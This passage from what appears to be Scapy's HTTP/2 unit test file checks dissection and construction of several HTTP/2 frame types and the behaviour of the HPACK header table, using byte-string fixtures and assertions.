pkt[h2.H2ResetFrame]\nrf = pkt[h2.H2ResetFrame]\nassert rf.error == 1\nassert isinstance(rf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Reset Stream Frame: Protocol Error\n~ http2 frame build rststream\n\np = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error='Protocol error')\nassert raw(p) == b'\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01'\n\np = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=1)\nassert raw(p) == b'\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01'\n\n= HTTP/2 Dissect Reset Stream Frame: Raw 123456 error\n~ http2 frame dissect rststream\n\npkt = h2.H2Frame(b'\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\xe2@') #Reset stream with raw error\nassert pkt.type == 3\nassert pkt.len == 4\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2ResetFrame)\nassert pkt[h2.H2ResetFrame]\nrf = pkt[h2.H2ResetFrame]\nassert rf.error == 123456\nassert isinstance(rf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Dissect Reset Stream Frame: Raw 123456 error\n~ http2 frame dissect rststream\n\np = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=123456)\nassert raw(p) == b'\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\xe2@'\n\n+ HTTP/2 Settings Frame Test Suite\n\n= HTTP/2 Dissect Settings Frame: Settings Frame\n~ http2 frame dissect settings\n\npkt = h2.H2Frame(b'\\x00\\x00$\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x07[\\xcd\\x15\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x03\\x00\\x00\\x00{\\x00\\x04\\x00\\x12\\xd6\\x87\\x00\\x05\\x00\\x01\\xe2@\\x00\\x06\\x00\\x00\\x00{') #Settings frame\nassert pkt.type == 4\nassert pkt.len == 36\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert isinstance(pkt.payload, h2.H2SettingsFrame)\nassert pkt[h2.H2SettingsFrame]\nsf = pkt[h2.H2SettingsFrame]\nassert len(sf.settings) == 6\nassert isinstance(sf.settings[0], h2.H2Setting)\nassert sf.settings[0].id == 1\nassert sf.settings[0].value == 123456789\nassert isinstance(sf.settings[1], h2.H2Setting)\nassert sf.settings[1].id == 2\nassert sf.settings[1].value == 1\nassert isinstance(sf.settings[2], h2.H2Setting)\nassert sf.settings[2].id == 3\nassert sf.settings[2].value == 123\nassert isinstance(sf.settings[3], h2.H2Setting)\nassert sf.settings[3].id == 4\nassert sf.settings[3].value == 1234567\nassert isinstance(sf.settings[4], h2.H2Setting)\nassert sf.settings[4].id == 5\nassert sf.settings[4].value == 123456\nassert isinstance(sf.settings[5], h2.H2Setting)\nassert sf.settings[5].id == 6\nassert sf.settings[5].value == 123\nassert isinstance(sf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Settings Frame: Settings Frame\n~ http2 frame build settings\n\np = h2.H2Frame()/h2.H2SettingsFrame(settings=[\n        h2.H2Setting(id='Header table size',value=123456789),\n        h2.H2Setting(id='Enable push', value=1),\n        h2.H2Setting(id='Max concurrent streams', value=123),\n        h2.H2Setting(id='Initial window size', value=1234567),\n        h2.H2Setting(id='Max frame size', value=123456),\n        h2.H2Setting(id='Max header list size', value=123)\n    ]\n)\nassert raw(p) == b'\\x00\\x00$\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x07[\\xcd\\x15\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x03\\x00\\x00\\x00{\\x00\\x04\\x00\\x12\\xd6\\x87\\x00\\x05\\x00\\x01\\xe2@\\x00\\x06\\x00\\x00\\x00{'\n\n= HTTP/2 Dissect Settings Frame: Incomplete Settings Frame\n~ http2 frame dissect settings\n\n#We use here the decode('hex') method because null-bytes are rejected by eval()\nassert expect_exception(AssertionError, 'h2.H2Frame(bytes_hex(\"0000240400000000000001075bcd1500020000000100030000007b00040012d68700050001e2400006000000\"))')\n\n= HTTP/2 Dissect Settings Frame: Settings Frame acknowledgement\n~ http2 frame dissect settings\n\npkt = h2.H2Frame(b'\\x00\\x00\\x00\\x04\\x01\\x00\\x00\\x00\\x00') #Settings frame w/ ack flag\nassert pkt.type == 4\nassert pkt.len == 0\nassert len(pkt.flags) == 1\nassert 'A' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert isinstance(pkt.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Settings Frame: Settings Frame acknowledgement\n~ http2 frame build settings\n\np = h2.H2Frame(type=h2.H2SettingsFrame.type_id, flags={'A'})\nassert raw(p) == b'\\x00\\x00\\x00\\x04\\x01\\x00\\x00\\x00\\x00'\n\n+ HTTP/2 Push Promise Frame Test Suite\n\n= HTTP/2 Dissect Push Promise Frame: no flag & headers with compression and hdr_name\n~ http2 frame dissect pushpromise\n\npkt = h2.H2Frame(b'\\x00\\x00\\x15\\x05\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03@\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me')\nassert pkt.type == 5\nassert pkt.len == 21\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2PushPromiseFrame)\nassert pkt[h2.H2PushPromiseFrame]\npf = pkt[h2.H2PushPromiseFrame]\nassert pf.reserved == 0\nassert pf.stream_id == 3\nassert len(pf.hdrs) == 1\nassert isinstance(pf.payload, scapy.packet.NoPayload)\nhdr = pf.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.type == 1\nassert hdr.hdr_name.len == 12\nassert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.type == 0\nassert hdr.hdr_value.len == 2\nassert hdr.hdr_value.getfieldval('data').origin() == 'Me'\n\n= HTTP/2 Build Push Promise Frame: no flag & headers with compression and hdr_name\n~ http2 frame build pushpromise\n\np = h2.H2Frame(stream_id=1)/h2.H2PushPromiseFrame(stream_id=3,hdrs=[\n    h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')),\n    )\n])\nassert raw(p) == b'\\x00\\x00\\x15\\x05\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03@\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me'\n\n= HTTP/2 Dissect Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name\n~ http2 frame dissect pushpromise\n\npkt = h2.H2Frame(b'\\x00\\x00\\x1e\\x05\\x0c\\x00\\x00\\x00\\x01\\x08\\x00\\x00\\x00\\x03@\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert pkt.type == 5\nassert pkt.len == 30\nassert len(pkt.flags) == 2\nassert 'P' in pkt.flags\nassert 'EH' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert isinstance(pkt.payload, h2.H2PaddedPushPromiseFrame)\nassert pkt[h2.H2PaddedPushPromiseFrame]\npf = pkt[h2.H2PaddedPushPromiseFrame]\nassert pf.padlen == 8\nassert pf.padding == b'\\x00'*8\nassert pf.stream_id == 3\nassert len(pf.hdrs) == 1\nhdr = pf.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.type == 1\nassert hdr.hdr_name.len == 12\nassert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.type == 0\nassert hdr.hdr_value.len == 2\nassert hdr.hdr_value.getfieldval('data').origin() == 'Me'\n\n= HTTP/2 Build Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name\n~ http2 frame build pushpromise\n\np = h2.H2Frame(flags={'P', 'EH'}, stream_id=1)/h2.H2PaddedPushPromiseFrame(\n    stream_id=3,\n    hdrs=[\n        h2.HPackLitHdrFldWithIncrIndexing(\n            hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))\n        )\n    ],\n    padding=b'\\x00'*8\n)\nassert raw(p) == b'\\x00\\x00\\x1e\\x05\\x0c\\x00\\x00\\x00\\x01\\x08\\x00\\x00\\x00\\x03@\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n+ HTTP/2 Ping Frame Test Suite\n\n= HTTP/2 Dissect Ping Frame: Ping frame\n~ http2 frame dissect ping\n\npkt = h2.H2Frame(b'\\x00\\x00\\x08\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xe2@') #Ping frame with payload\nassert pkt.type == 6\nassert pkt.len == 8\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert isinstance(pkt.payload, h2.H2PingFrame)\nassert pkt[h2.H2PingFrame]\npf = pkt[h2.H2PingFrame]\nassert pf.opaque == 123456\nassert isinstance(pf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Ping Frame: Ping frame\n~ http2 frame build ping\n\np = h2.H2Frame()/h2.H2PingFrame(opaque=123456)\nassert raw(p) == b'\\x00\\x00\\x08\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xe2@'\n\n= HTTP/2 Dissect Ping Frame: Pong frame\n~ http2 frame dissect ping\n\npkt = h2.H2Frame(b'\\x00\\x00\\x08\\x06\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xe2@') #Pong frame\nassert pkt.type == 6\nassert pkt.len == 8\nassert len(pkt.flags) == 1\nassert 'A' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert isinstance(pkt.payload, h2.H2PingFrame)\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert pkt[h2.H2PingFrame]\npf = pkt[h2.H2PingFrame]\nassert pf.opaque == 123456\nassert isinstance(pf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Dissect Ping Frame: Pong frame\n~ http2 frame dissect ping\n\np = h2.H2Frame(flags={'A'})/h2.H2PingFrame(opaque=123456)\nassert raw(p) == b'\\x00\\x00\\x08\\x06\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xe2@'\n\n+ HTTP/2 Go Away Frame Test Suite\n\n= HTTP/2 Dissect Go Away Frame: No error\n~ http2 frame dissect goaway\n\npkt = h2.H2Frame(b'\\x00\\x00\\x08\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00') #Go Away for no particular reason :)\nassert pkt.type == 7\nassert pkt.len == 8\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert isinstance(pkt.payload, h2.H2GoAwayFrame)\nassert pkt[h2.H2GoAwayFrame]\ngf = pkt[h2.H2GoAwayFrame]\nassert gf.reserved == 0\nassert gf.last_stream_id == 1\nassert gf.error == 0\nassert len(gf.additional_data) == 0\nassert isinstance(gf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Go Away Frame: No error\n~ http2 frame build goaway\n\np = h2.H2Frame()/h2.H2GoAwayFrame(last_stream_id=1, error='No error')\nassert raw(p) == b'\\x00\\x00\\x08\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n\n= HTTP/2 Dissect Go Away Frame: Arbitrary error with additional data\n~ http2 frame dissect goaway\n\npkt = h2.H2Frame(b'\\x00\\x00\\x10\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\xe2@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00') #Go Away with debug data\nassert pkt.type == 7\nassert pkt.len == 16\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert isinstance(pkt.payload, h2.H2GoAwayFrame)\nassert pkt[h2.H2GoAwayFrame]\ngf = pkt[h2.H2GoAwayFrame]\nassert gf.reserved == 0\nassert gf.last_stream_id == 2\nassert gf.error == 123456\nassert gf.additional_data == 8*b'\\x00'\nassert isinstance(gf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Go Away Frame: Arbitrary error with additional data\n~ http2 frame build goaway\n\np = h2.H2Frame()/h2.H2GoAwayFrame(\n    last_stream_id=2,\n    error=123456,\n    additional_data=b'\\x00'*8\n)\nassert raw(p) == b'\\x00\\x00\\x10\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\xe2@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n+ HTTP/2 Window Update Frame Test Suite\n\n= HTTP/2 Dissect Window Update Frame: global\n~ http2 frame dissect winupdate\n\npkt = h2.H2Frame(b'\\x00\\x00\\x04\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xe2@') #Window update with increment for connection\nassert pkt.type == 8\nassert pkt.len == 4\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 0\nassert isinstance(pkt.payload, h2.H2WindowUpdateFrame)\nassert pkt[h2.H2WindowUpdateFrame]\nwf = pkt[h2.H2WindowUpdateFrame]\nassert wf.reserved == 0\nassert wf.win_size_incr == 123456\nassert isinstance(wf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Window Update Frame: global\n~ http2 frame build winupdate\n\np = h2.H2Frame()/h2.H2WindowUpdateFrame(win_size_incr=123456)\nassert raw(p) == b'\\x00\\x00\\x04\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xe2@'\n\n= HTTP/2 Dissect Window Update Frame: a stream\n~ http2 frame dissect winupdate\n\npkt = h2.H2Frame(b'\\x00\\x00\\x04\\x08\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\xe2@') #Window update with increment for a stream\nassert pkt.type == 8\nassert pkt.len == 4\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2WindowUpdateFrame)\nassert pkt[h2.H2WindowUpdateFrame]\nwf = pkt[h2.H2WindowUpdateFrame]\nassert wf.reserved == 0\nassert wf.win_size_incr == 123456\nassert isinstance(wf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Window Update Frame: a stream\n~ http2 frame build winupdate\n\np = h2.H2Frame(stream_id=1)/h2.H2WindowUpdateFrame(win_size_incr=123456)\nassert raw(p) == b'\\x00\\x00\\x04\\x08\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\xe2@'\n\n+ HTTP/2 Continuation Frame Test Suite\n\n= HTTP/2 Dissect Continuation Frame: no flag & headers with compression and hdr_name\n~ http2 frame dissect continuation\n\npkt = h2.H2Frame(b'\\x00\\x00\\x11\\t\\x00\\x00\\x00\\x00\\x01@\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me')\nassert pkt.type == 9\nassert pkt.len == 17\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2ContinuationFrame)\nassert pkt[h2.H2ContinuationFrame]\nhf = pkt[h2.H2ContinuationFrame]\nassert len(hf.hdrs) == 1\nassert isinstance(hf.payload, scapy.packet.NoPayload)\nhdr = hf.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)\nassert hdr.magic == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.type == 1\nassert hdr.hdr_name.len == 12\nassert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.type == 0\nassert hdr.hdr_value.len == 2\nassert hdr.hdr_value.getfieldval('data').origin() == 'Me'\n\n= HTTP/2 Build Continuation Frame: no flag & headers with compression and hdr_name\n~ http2 frame build continuation\n\np = h2.H2Frame(stream_id=1)/h2.H2ContinuationFrame(\n    hdrs=[\n        h2.HPackLitHdrFldWithIncrIndexing(\n            hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))\n        )\n    ]\n)\nassert raw(p) == b'\\x00\\x00\\x11\\t\\x00\\x00\\x00\\x00\\x01@\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me'\n\n= HTTP/2 Dissect Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name\n~ http2 frame dissect continuation\n\npkt = h2.H2Frame(b'\\x00\\x00\\x11\\t\\x04\\x00\\x00\\x00\\x01\\x10\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me')\nassert pkt.type == 9\nassert pkt.len == 17\nassert len(pkt.flags) == 1\nassert 'EH' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert isinstance(pkt.payload, h2.H2ContinuationFrame)\nassert pkt[h2.H2ContinuationFrame]\nhf = pkt[h2.H2ContinuationFrame]\nassert len(hf.hdrs) == 1\nassert isinstance(hf.payload, scapy.packet.NoPayload)\nhdr = hf.hdrs[0]\nassert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)\nassert hdr.magic == 0\nassert hdr.never_index == 1\nassert hdr.index == 0\nassert isinstance(hdr.hdr_name, h2.HPackHdrString)\nassert hdr.hdr_name.type == 1\nassert hdr.hdr_name.len == 12\nassert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With'\nassert isinstance(hdr.hdr_value, h2.HPackHdrString)\nassert hdr.hdr_value.type == 0\nassert hdr.hdr_value.len == 2\nassert hdr.hdr_value.getfieldval('data').origin() == 'Me'\n\n= HTTP/2 Build Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name\n~ http2 frame build continuation\n\np = h2.H2Frame(flags={'EH'}, stream_id=1)/h2.H2ContinuationFrame(\n    hdrs=[\n        h2.HPackLitHdrFldWithoutIndexing(\n            never_index=1,\n            hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))\n        )\n    ]\n)\nassert raw(p) == b'\\x00\\x00\\x11\\t\\x04\\x00\\x00\\x00\\x01\\x10\\x8c\\xfc[i{ZT$\\xb2-\\xc8\\xc9\\x9f\\x02Me'\n\n+ HTTP/2 HPackHdrTable Test Suite\n\n= HTTP/2 HPackHdrEntry Tests\n~ http2 hpack hpackhdrtable\n\nn = 'X-Requested-With'\nv = 'Me'\nh = h2.HPackHdrEntry(n, v)\nassert len(h) == 32 + len(n) + len(v)\nassert h.name() == n.lower()\nassert h.value() == v\nassert str(h) == '{}: {}'.format(n.lower(), v)\n\nn = ':status'\nv = '200'\nh = h2.HPackHdrEntry(n, v)\nassert len(h) == 32 + len(n) + len(v)\nassert h.name() == n.lower()\nassert h.value() == v\nassert str(h) == '{} {}'.format(n.lower(), v)\n\n= HTTP/2 HPackHdrTable : Querying Static Entries\n~ http2 hpack hpackhdrtable\n\n# In RFC7541, the table is 1-based\nassert expect_exception(KeyError, 'h2.HPackHdrTable()[0]')\n\nh = h2.HPackHdrTable()\nassert h[1].name() == ':authority'\nassert h[7].name() == ':scheme'\nassert h[7].value() == 'https'\nassert str(h[14]) == ':status 500'\nassert str(h[16]) == 'accept-encoding: gzip, deflate'\n\nassert expect_exception(KeyError, 'h2.HPackHdrTable()[h2.HPackHdrTable._static_entries_last_idx+1]')\n\n= HTTP/2 HPackHdrTable : Adding Dynamic Entries without overflowing the table\n~ http2 hpack hpackhdrtable\n\ntbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)\nhdr = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString('PHPSESSID=abcdef0123456789'))\n)\ntbl.register(hdr)\n\ntbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)\nhdr2 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString('JSESSID=abcdef0123456789'))\n)\ntbl.register([hdr,hdr2])\n\ntbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)\nhdr3 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString('Test=abcdef0123456789'))\n)\nfrm = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[hdr, hdr2, hdr3])\ntbl.register(frm)\n\n\n= HTTP/2 HPackHdrTable : Querying Dynamic Entries\n~ http2 hpack hpackhdrtable\n\ntbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)\nhdrv = 'PHPSESSID=abcdef0123456789'\nhdr = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))\n)\ntbl.register(hdr)\n\nhdrv2 = 'JSESSID=abcdef0123456789'\nhdr2 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))\n)\ntbl.register(hdr2)\n\nhdr3 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=0,\n    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('x-requested-by')),\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString('me'))\n)\ntbl.register(hdr3)\n\nassert tbl.get_idx_by_name('x-requested-by') == h2.HPackHdrTable._static_entries_last_idx+1\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv\n\n= HTTP/2 HPackHdrTable : Adding already registered Dynamic Entries without overflowing the table\n~ http2 hpack hpackhdrtable\n\ntbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)\n\nassert len(tbl) == 0\n\nhdrv = 'PHPSESSID=abcdef0123456789'\nhdr = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))\n)\ntbl.register(hdr)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv\n\nhdr2v = 'JSESSID=abcdef0123456789'\nhdr2 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdr2v))\n)\ntbl.register(hdr2)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdr2v\n\nl = len(tbl)\ntbl.register(hdr)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdr2v\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv\n\n= HTTP/2 HPackHdrTable : Adding Dynamic Entries and overflowing the table\n~ http2 hpack hpackhdrtable\n\ntbl = h2.HPackHdrTable(dynamic_table_max_size=80, dynamic_table_cap_size=80)\nhdrv = 'PHPSESSID=abcdef0123456789'\nhdr = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))\n)\ntbl.register(hdr)\nassert len(tbl) <= 80\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv\n\nhdrv2 = 'JSESSID=abcdef0123456789'\nhdr2 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))\n)\ntbl.register(hdr2)\nassert len(tbl) <= 80\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\ntry:\n    tbl[h2.HPackHdrTable._static_entries_last_idx+2]\n    ret = False\nexcept Exception:\n    ret = True\n\nassert ret\n\n\n= HTTP/2 HPackHdrTable : Resizing\n~ http2 hpack hpackhdrtable\n\ntbl = h2.HPackHdrTable()\nhdrv = 'PHPSESSID=abcdef0123456789'\nhdr = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))\n)\ntbl.register(hdr)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv\n\nhdrv2 = 'JSESSID=abcdef0123456789'\nhdr2 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))\n)\ntbl.register(hdr2)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv\n\n#Resizing to a value higher than cap (default:4096)\ntry:\n    tbl.resize(8192)\n    ret = False\nexcept AssertionError:\n    ret = True\n\nassert ret\n#Resizing to a lower value by that is not small enough to cause eviction\ntbl.resize(1024)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv\n#Resizing to a higher value but thatt is lower than cap\ntbl.resize(2048)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv\n#Resizing to a lower value that causes eviction\ntbl.resize(80)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\ntry:\n    tbl[h2.HPackHdrTable._static_entries_last_idx+2]\n    ret = False\nexcept Exception:\n    ret = True\n\nassert ret\n\n= HTTP/2 HPackHdrTable : Recapping\n~ http2 hpack hpackhdrtable\n\ntbl = h2.HPackHdrTable()\nhdrv = 'PHPSESSID=abcdef0123456789'\nhdr = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))\n)\ntbl.register(hdr)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv\n\nhdrv2 = 'JSESSID=abcdef0123456789'\nhdr2 = h2.HPackLitHdrFldWithIncrIndexing(\n    index=32,\n    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))\n)\ntbl.register(hdr2)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv\n\n#Recapping to a higher value\ntbl.recap(8192)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv\n\n#Recapping to a low value but without causing eviction\ntbl.recap(1024)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv\n\n#Recapping to a low value that causes evictiontbl.recap(1024)\ntbl.recap(80)\nassert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2\ntry:\n    tbl[h2.HPackHdrTable._static_entries_last_idx+2]\n    ret = False\nexcept Exception:\n    ret = True\n\nassert ret\n\n= HTTP/2 HPackHdrTable : Generating Textual Representation\n~ http2 hpack hpackhdrtable helpers\n\nh = h2.HPackHdrTable()\nh.register(h2.HPackLitHdrFldWithIncrIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))\n))\n\nhdrs_lst = [\n    h2.HPackIndexedHdr(index=2), #Method Get\n    h2.HPackLitHdrFldWithIncrIndexing(\n        index=h.get_idx_by_name(':path'),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('/index.php'))\n    ),\n    h2.HPackIndexedHdr(index=7), #Scheme HTTPS\n    h2.HPackIndexedHdr(index=h2.HPackHdrTable._static_entries_last_idx+2),\n    h2.HPackLitHdrFldWithIncrIndexing(\n        index=58,\n        hdr_value=h2.HPackHdrString(data=h2.HPackZString('Mozilla/5.0 Generated by hand'))\n    ),\n    h2.HPackLitHdrFldWithoutIndexing(\n        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generated-By')),\n        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))\n    )\n]\n\np = h2.H2Frame(stream_id = 1)/h2.H2HeadersFrame(hdrs=hdrs_lst)\n\nexpected_output = ''':method 